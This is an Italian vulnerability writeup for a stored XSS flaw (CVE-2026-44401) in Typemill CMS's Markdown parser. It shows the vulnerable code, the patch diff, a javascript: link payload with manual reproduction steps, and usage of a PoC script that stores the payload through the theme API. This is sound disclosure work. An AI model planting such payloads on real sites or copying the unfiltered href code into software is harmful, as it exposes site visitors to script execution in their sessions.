
XSS persistente in Typemill CMS: il parser Markdown lascia passare gli URI javascript: senza filtri. Writeup + PoC.
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Versioni interessate | typemill/typemill >= 2.0.0, < 2.23.0 |
| Corretto in | v2.23.0 (commit 31b72ea) |
| Autenticazione richiesta | Sì, qualsiasi ruolo con diritti ACL system:update (admin o manager per impostazione predefinita) |
| CVSS (segnalatore) | 7.6 / Medio-Alto |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| Crediti | sn0x (@sn0x-sharma) |
| Advisory | VulnCheck |
Il punteggio è Medio anziché Critico perché richiede
PR:H(privilegio di configurazione del tema) +UI:A(la vittima deve cliccare sul link) — ma il payload è persistente, quindi si attiva per ogni visitatore che lo fa.
Typemill è un CMS Markdown flat-file. Il suo parser Markdown non valida lo schema URI dei target dei link prima di scriverli in un attributo href. Un utente con accesso alla configurazione del tema (ad es. il campo di testo Landingpage Intro Segment, che accetta Markdown grezzo) può memorizzare un link javascript:. Viene renderizzato senza escaping nella homepage pubblica e viene eseguito nel browser di chiunque ci clicchi — XSS persistente (stored).
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, righe 934–996 (v2.22.0, ultimo tag vulnerabile).
I link relativi e quelli media/ ricevono un prefisso base-URL, ma nulla controlla lo schema URI prima che venga assegnato a href:
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.
Percorso di rendering per questo sink specifico: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Qualsiasi altro campo del tema che faccia passare Markdown utente attraverso lo stesso parser è ugualmente interessato.
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
La stessa allowlist (http, https, mailto, ftp) proposta nel report originale. Confermato eseguendo il diff di ParsedownExtension.php tra i tag v2.22.0 e v2.23.0.
Le route delle impostazioni del tema (GET /tm/themes, POST /api/v1/theme) sono protette dalla risorsa ACL system/update — secondo le definizioni delle route di Typemill stesso (routes/web.php, routes/api.php) questo diritto è concesso al ruolo manager per impostazione predefinita, non solo all'admin. Quindi l'esposizione non è limitata all'account amministratore di livello più alto.
Accedi come utente con accesso alla configurazione del tema → System → Themes → Configure (tema attivo, ad es. Cyanine).
Espandi Landingpage Intro Segment → nel campo "Text for your landingpage intro (use markdown)", inserisci:
[Click me](javascript:alert(document.domain))
Salva. Visita la homepage come qualsiasi utente e clicca sul link → il JavaScript viene eseguito nella sessione di quel visitatore.
CVE-2026-44401_POC.py - due modalità:
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
Riproduzione manuale minima (con cui è stato verificato il report):
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>